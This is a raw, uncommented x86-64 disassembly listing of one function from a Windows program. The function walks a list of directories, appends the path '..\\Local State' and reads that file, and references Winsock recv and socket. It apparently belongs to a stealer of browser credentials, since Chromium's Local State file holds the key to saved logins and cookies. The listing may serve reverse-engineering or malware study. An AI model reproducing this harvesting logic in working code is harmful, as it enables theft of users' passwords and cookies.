mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f9c2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000f9c2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400329e0
movdqu xmmword [rbp + 0xb0], xmm6
mov byte [rbp + 0xa0], 0
mov rdx, qword [rbp + 0x1d8]
cmp rdx, 0xf
jbe 0x14000fa1a
inc rdx
mov rcx, qword [rbp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000fa15
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000fa15
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400329e0
movdqu xmmword [rbp + 0x1d0], xmm6
mov byte [rbp + 0x1c0], 0
mov rdx, qword [rbp + 0x700]
cmp rdx, 0xf
jbe 0x14000fa6d
inc rdx
mov rcx, qword [rbp + 0x6e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000fa68
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000fa68
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400329e0
movdqu xmmword [rbp + 0x6f8], xmm6
mov byte [rbp + 0x6e8], 0
mov rdx, qword [rbp + 0x28]
cmp rdx, 0xf
jbe 0x14000faba
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000fab5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000fab5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400329e0
lea rcx, [rbp + 0x6c8]
call fcn.140009320
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x6c8], xmm1
mov qword [rbp + 0x6d8], rsi
lea rcx, [rbp + 0x710]
call fcn.140009330
lea rdx, str._w__24_26._w__6._w__25_110
lea rcx, [rbp + 0x710]
call fcn.1400135a0
nop
mov r14, qword [rbp + 0x690]
mov rax, qword [rbp + 0x698]
mov qword [rsp + 0x40], rax
cmp r14, rax
je 0x1400104ae
lea rbx, [0x1400460c8]
nop dword [rax + rax]
mov rcx, qword [r14 + 0x10]
mov rax, r14
cmp qword [r14 + 0x18], 0xf
jbe 0x14000fb31
mov rax, qword [r14]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rcx
call fcn.140031684
movaps xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rbp + 0x5c0], xmm0
lea r8, [rbp + 0x5c0]
mov edx, eax
lea rcx, [rbp + 0x5a0]
call fcn.140001d30
or edi, 0x18
or edi, 2
mov dword [rsp + 0x30], edi
mov r8d, 3
lea rdx, [rbp + 0x5a0]
lea rcx, [rbp + 0x208]
call fcn.140004040
movsd xmm0, qword [rax]
movsd qword [rbp + 0x30], xmm0
mov ecx, dword [rax + 8]
mov dword [rbp - 0x70], ecx
mov qword [rbp - 0x68], rbx
movaps xmm0, xmmword [rbp - 0x70]
movdqa xmmword [rbp + 0x5c0], xmm0
mov eax, dword [rbp + 0x30]
test eax, eax
je 0x14000fc47
cmp eax, 1
je 0x14000fc4f
mov rcx, qword [r14 + 0x10]
mov rax, r14
cmp qword [r14 + 0x18], 0xf
jbe 0x14000fbc9
mov rax, qword [r14]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rcx
call fcn.140031684
movaps xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rbp + 0x5c0], xmm0
lea r8, [rbp + 0x5c0]
mov edx, eax
lea rcx, [rbp + 0x5f0]
call fcn.140001d30
or edi, 0xc00
or edi, 4
mov dword [rsp + 0x30], edi
mov r8d, 3
lea rdx, [rbp + 0x5f0]
lea rcx, [rbp + 0x1f8]
call fcn.140004040
movsd xmm0, qword [rax]
movsd qword [rbp + 0x40], xmm0
mov edx, dword [rax + 8]
mov ecx, dword [rbp + 0x40]
test edx, edx
je 0x14000fc3e
lea eax, [rcx - 1]
test eax, 0xfffffff7
jne 0x14001077e
cmp ecx, 3
jne 0x14000fc4f
xor bl, bl
jmp 0x14000fc51
test ecx, ecx
jne 0x1400107d7
mov bl, 1
test dil, 4
je 0x14000fcbd
and edi, 0xfffffffb
mov dword [rsp + 0x30], edi
mov rdx, qword [rbp + 0x608]
cmp rdx, 7
jbe 0x14000fca4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x5f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000fc9f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001061f
call fcn.1400329e0
mov qword [rbp + 0x600], rsi
mov qword [rbp + 0x608], 7
mov word [rbp + 0x5f0], si
test dil, 2
je 0x14000fd10
and edi, 0xfffffffd
mov dword [rsp + 0x30], edi
mov rdx, qword [rbp + 0x5b8]
cmp rdx, 7
jbe 0x14000fd10
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x5a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000fd0b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010626
call fcn.1400329e0
test bl, bl
jne 0x140010498
mov rdx, qword [r14 + 0x10]
mov qword [rsp + 0x38], rdx
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, rdx
cmp rax, 0x12
jb 0x1400107d1
mov qword [rbp + 0x5c0], r14
cmp qword [r14 + 0x18], 0xf
jbe 0x14000fd53
mov rax, qword [r14]
mov qword [rbp + 0x5c0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x5a0], xmm0
mov qword [rbp + 0x5b0], rsi
mov qword [rbp + 0x5b8], rsi
lea r13, [rdx + 0x12]
mov ebx, recv
lea r15, [rbp + 0x5a0]
cmp r13, rbx
jbe 0x14000fe07
mov rbx, r13
or rbx, 0xf
cmp rbx, rcx
jbe 0x14000fda3
mov rbx, rcx
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x14000fdd4
cmp rbx, 0x16
mov eax, socket
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x14000fdbe
mov r15, rsi
jmp 0x14000fe00
cmp rcx, 0x1000
jb 0x14000fdf3
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140010792
mov rcx, rax
call fcn.140032c88
test rax, rax
je 0x14001062d
lea r15, [rax + 0x27]
and r15, 0xffffffffffffffe0
mov qword [r15 - 8], rax
jmp 0x14000fdfb
call fcn.140032c88
mov r15, rax
mov rdx, qword [rsp + 0x38]
mov qword [rbp + 0x5a0], r15
mov qword [rbp + 0x5b0], r13
mov qword [rbp + 0x5b8], rbx
mov r8, rdx
mov rdx, qword [rbp + 0x5c0]
mov rcx, r15
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [str.....Local_State]
mov rcx, qword [rsp + 0x38]
movups xmmword [r15 + rcx], xmm0
movzx eax, word [0x140038c38]
mov word [r15 + rcx + 0x10], ax
mov byte [r15 + r13], 0
bts edi, 9
mov dword [rsp + 0x30], edi
lea rax, [rbp + 0x5a0]
cmp qword [rbp + 0x5b8], 0xf
cmova rax, qword [rbp + 0x5a0]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp + 0x5b0]
mov qword [rbp - 0x28], rax
call fcn.140031684
movaps xmm0, xmmword [rbp - 0x30]
movdqa xmmword [rbp + 0x5c0], xmm0
lea r8, [rbp + 0x5c0]
mov edx, eax
lea rcx, [rbp + 0x630]
call fcn.140001d30
or edi, 0x180
mov dword [rsp + 0x30], edi
mov rdx, qword [rbp + 0x5b8]
cmp rdx, 0xf
jbe 0x14000fee9
inc rdx
mov rcx, qword [rbp + 0x5a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000fee4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010634
call fcn.1400329e0
mov qword [rbp + 0x5b0], rsi
mov qword [rbp + 0x5b8], recv
mov byte [rbp + 0x5a0], 0
mov rcx, qword [r14 + 0x10]
mov rax, r14
cmp qword [r14 + 0x18], 0xf
jbe 0x14000ff13
mov rax, qword [r14]
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rcx
call fcn.140031684
movaps xmm0, xmmword [rbp - 0x10]
movdqa xmmword [rbp + 0x5c0], xmm0
lea r8, [rbp + 0x5c0]
mov edx, eax
lea rcx, [rbp + 0x610]
call fcn.140001d30
or edi, 0x60
mov dword [rsp + 0x30], edi
mov r8d, 3
lea rdx, [rbp + 0x630]
lea rcx, [rbp + 0x1e8]
call fcn.140004040
movsd xmm0, qword [rax]
movsd qword [rbp + 0x50], xmm0
mov ecx, dword [rax + 8]
mov dword [rsp + 0x50], ecx
lea rbx, [0x1400460c8]
mov qword [rsp + 0x58], rbx
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rbp + 0x5c0], xmm0
mov eax, dword [rbp + 0x50]
test eax, eax
je 0x14001048b
cmp eax, 1
je 0x1400103e4
lea r13, [rbp + 0x630]
cmp qword [rbp + 0x648], 7
cmova r13, qword [rbp + 0x630]
mov r15, qword [rbp + 0x640]
call fcn.140031684
mov dword [rsp + 0x38], eax
xorps xmm0, xmm0
movups xmmword [rbp + 0x5a0], xmm0
mov qword [rbp + 0x5b0], rsi
mov qword [rbp + 0x5b8], recv
mov byte [rbp + 0x5a0], 0
bts edi, 0xf
mov dword [rsp + 0x30], edi
test r15, r15
je 0x140010086
cmp r15, 0x7fffffff
ja 0x1400107b0
mov dword [rsp + 0x20], esi
xor r9d, r9d
mov r8d, r15d
mov rdx, r13
mov ecx, eax
call fcn.1400316f4
mov rbx, rax
mov qword [rbp + 0x5c0], rax
shr rax, 0x20
test eax, eax
jne 0x1400107a4
movsxd rdx, ebx
xor r8d, r8d
lea rcx, [rbp + 0x5a0]
call fcn.140016b80
lea r9, [rbp + 0x5a0]
cmp qword [rbp + 0x5b8], 0xf
cmova r9, qword [rbp + 0x5a0]
mov dword [rsp + 0x20], ebx
mov r8d, r15d
mov rdx, r13
mov ecx, dword [rsp + 0x38]
call fcn.1400316f4
mov qword [rbp + 0x5c0], rax
shr rax, 0x20
test eax, eax
jne 0x140010798
lea rbx, [0x1400460c8]
btr edi, 0xf
or edi, 0x7000
mov dword [rsp + 0x30], edi
lea rdx, [rbp + 0x5a0]
lea rcx, [rbp + 0x6a8]
call fcn.140006ba0
nop
mov rdx, qword [rbp + 0x5b8]
cmp rdx, 0xf
jbe 0x1400100e9
inc rdx
mov rcx, qword [rbp + 0x5a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400100e4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001063b
call fcn.1400329e0
mov qword [rbp + 0x5b0], rsi
mov qword [rbp + 0x5b8], recv
mov byte [rbp + 0x5a0], 0
cmp qword [rbp + 0x6b8], 0
je 0x14001038a
lea rcx, [rbp + 0x10]
call fcn.140018c20
nop
lea rcx, [rbp + 0x6e8]
call fcn.140004330
nop
lea r8, [rbp + 0x10]
mov rdx, rax
lea rcx, [rbp + 0x5f0]
call fcn.1400024e0
nop
lea rcx, [rbp + 0x6e8]
call fcn.1400026f0
nop
lea rcx, [rbp + 0x10]
call fcn.1400026f0
lea rdx, [rbp + 0x5f0]
lea rcx, [rbp + 0x610]
call fcn.1400099e0
lea rcx, [rbp + 0x5c0]
call fcn.140009320
lea rdx, [rbp + 0x5f0]
lea rcx, [rbp + 0x5c0]
call fcn.140008730
nop
mov rbx, qword [rbp + 0x5c0]
mov r15, qword [rbp + 0x5c8]
cmp rbx, r15
je 0x1400102a9
nop dword [rax + rax]
mov rdx, rbx
lea rcx, [rbp + 0x6e8]
call fcn.140006ac0
nop
lea r8, [rbp + 0x6a8]
lea rdx, [rbp + 0x6e8]
lea rcx, [rbp + 0x5a0]
call fcn.140008250
nop
mov rax, qword [r12 + 8]
cmp rax, qword [r12 + 0x10]
je 0x1400101ee
lea rdx, [rbp + 0x5a0]
mov rcx, rax
call fcn.140015080
add qword [r12 + 8], 0x20
jmp 0x140010201
lea r8, [rbp + 0x5a0]
mov rdx, rax
mov rcx, r12
call fcn.14001fbe0
nop
mov rdx, qword [rbp + 0x5b8]
cmp rdx, 0xf
jbe 0x140010242
inc rdx
mov rcx, qword [rbp + 0x5a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001023d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010642
call fcn.1400329e0
mov qword [rbp + 0x5b0], rsi
mov qword [rbp + 0x5b8], recv
mov byte [rbp + 0x5a0], 0
mov rdx, qword [rbp + 0x700]
cmp rdx, 0xf
jbe 0x14001029c
inc rdx
mov rcx, qword [rbp + 0x6e8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010297
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010649
call fcn.1400329e0
add rbx, 0x20
cmp rbx, r15
jne 0x1400101a0
mov qword [rbp + 0x650], rsi
lea rbx, [0x1400460c8]
mov qword [rbp + 0x658], rbx
lea rcx, [rbp + 0x5f0]
cmp qword [rbp + 0x608], 7
cmova rcx, qword [rbp + 0x5f0]
call fcn.14003221c
mov rdx, rax
shr rdx, 0x20
movzx ecx, al
mov qword [rbp + 0x708], rcx
mov dword [rbp + 0x670], edx
mov qword [rbp + 0x678], rbx
movaps xmm0, xmmword [rbp + 0x670]
movdqa xmmword [rbp + 0x650], xmm0
cmp edx, 0x91
jne 0x140010329
lea r8, [rbp + 0x708]
lea rdx, [rbp + 0x650]
lea rcx, [rbp + 0x5f0]
call fcn.140004120
cmp dword [rbp + 0x650], 0
jne 0x1400107b6
lea rcx, [rbp + 0x5c0]
call fcn.140016b10
nop
mov rdx, qword [rbp + 0x608]
cmp rdx, 7
jbe 0x14001038a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x5f0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140010384
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010650
call fcn.1400329e0
nop
mov rdx, qword [rbp + 0x6c0]
cmp rdx, 0xf
jbe 0x1400103cb
inc rdx
mov rcx, qword [rbp + 0x6a8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400103c6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010657
call fcn.1400329e0
mov qword [rbp + 0x6b8], rsi
mov qword [rbp + 0x6c0], recv
mov byte [rbp + 0x6a8], 0
mov rdx, qword [rbp + 0x628]
cmp rdx, 7
jbe 0x14001042a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x610]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140010425
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001065e
call fcn.1400329e0
mov word [rbp + 0x610], si
mov qword [rbp + 0x628], 7
mov qword [rbp + 0x620], rsi
mov rdx, qword [rbp + 0x648]
cmp rdx, 7
jbe 0x14001049f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x630]
cmp rdx, 0x1000
mov rax, rcx
jb 0x140010484
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010665
call fcn.1400329e0
jmp 0x14001049f
test ecx, ecx
jne 0x140010763
jmp 0x1400103e4
lea rbx, [0x1400460c8]
add r14, 0x20
cmp r14, qword [rsp + 0x40]
jne 0x14000fb20
xorps xmm0, xmm0
movups xmmword [rbp + 0x5e0], xmm0
mov r13, qword [r12 + 8]
mov r14, qword [r12]
mov qword [rbp + 0x5e0], rsi
mov qword [rbp + 0x5e8], rsi
mov ecx, 0x40
call fcn.140032c88
mov r15, rax
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rbp + 0x5e0], rax
cmp r14, r13
je 0x1400105e0
movabs rbx, 0x3ffffffffffffff
nop word [rax + rax]
mov r9, r14
mov r8, r15
lea rdx, [rsp + 0x50]
lea rcx, [rbp + 0x5e0]
call fcn.14002ce90
movups xmm6, xmmword [rax]
movsd xmm0, qword [rax + 0x10]
movsd qword [rbp + 0x680], xmm0
cmp byte [rbp + 0x680], 0
jne 0x1400105cc
cmp qword [rbp + 0x5e8], rbx
je 0x14001075d
mov rbx, qword [rbp + 0x5e0]
lea rax, [rbp + 0x5e0]
mov qword [rbp + 0x650], rax
mov qword [rbp + 0x658], rsi
mov ecx, 0x40
call fcn.140032c88
mov rdi, rax
mov qword [rbp + 0x658], rax
lea rcx, [rax + 0x20]
mov rdx, r14
call fcn.140015080
mov qword [rdi], rbx
mov qword [rdi + 8], rbx
mov qword [rdi + 0x10], rbx
mov word [rdi + 0x18], 0
mov qword [rbp + 0x658], rsi
movaps xmmword [rbp + 0x670], xmm6
mov r8, rdi
lea rdx, [rbp + 0x670]
lea rcx, [rbp + 0x5e0]
call fcn.1400296f0
movabs rbx, 0x3ffffffffffffff
add r14, 0x20
cmp r14, r13
jne 0x140010510
mov r15, qword [rbp + 0x5e0]
mov r9, qword [r15]
mov rax, r9
cmp r9, r15
je 0x140010698
nop
inc rsi
mov rcx, qword [rax + 0x10]
cmp byte [rcx + 0x19], 0
je 0x14001066c
mov rcx, qword [rax + 8]
cmp byte [rcx + 0x19], 0
jne 0x14001061a
cmp rax, qword [rcx + 0x10]
jne 0x14001061a
mov rax, rcx
mov rcx, qword [rcx + 8]
cmp byte [rcx + 0x19], 0
je 0x140010607
mov rax, rcx
jmp 0x14001068f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov rax, rcx
mov rdx, qword [rcx]
cmp byte [rdx + 0x19], 0
jne 0x14001068f
nop dword [rax + rax]
mov rax, rdx
mov rcx, qword [rdx]
mov rdx, rcx
cmp byte [rcx + 0x19], 0
je 0x140010680
cmp rax, r15
jne 0x1400105f0
mov r8, rsi
mov rdx, r9
mov rcx, r12
call fcn.1400206b0
nop
mov r8, qword [rbp + 0x5e0]
mov r8, qword [r8 + 8]
lea rdx, [rbp + 0x5e0]
lea rcx, [rbp + 0x5e0]
call fcn.1400208f0
mov edx, 0x40
mov rcx, qword [rbp + 0x5e0]
call fcn.1400329e0
nop
lea rcx, [rbp + 0x710]
call fcn.140016480
mov rcx, qword [rbp + 0x730]
test rcx, rcx
je 0x14001070c
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
test rax, rax
je 0x14001070c
mov rcx, qword [rax]
mov r8, qword [rcx]
mov edx, 1
mov rcx, rax
call r8
nop
lea rcx, [rbp + 0x6c8]
call fcn.140016b10
nop
lea rcx, [rbp + 0x690]
call fcn.140016b10
mov rax, r12
mov rcx, qword [rbp + 0x738]
xor rcx, rsp
call fcn.1400329c0
lea r11, [rsp + 0x850]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140004e30
nop
lea r8, [rbp + 0x630]
lea rdx, [rbp + 0x5c0]
lea rcx, str.exists
call fcn.1400030a0
nop
lea r8, [rbp + 0x5f0]
lea rcx, str.status
call fcn.140002fd0
nop
call fcn.140001190
nop
mov ecx, dword [rbp + 0x5c4]
call fcn.140001ad0
int3
mov ecx, dword [rbp + 0x5c4]
call fcn.140001ad0
int3
call fcn.1400017f0
nop
lea r8, [rbp + 0x5f0]
lea rdx, [rbp + 0x650]
lea rcx, str.remove_all
call fcn.1400030a0
nop
call fcn.140001230
nop
lea r8, [rbp + 0x5a0]
lea rdx, [rbp + 0x5c0]
lea rcx, str.exists
call fcn.1400030a0
int3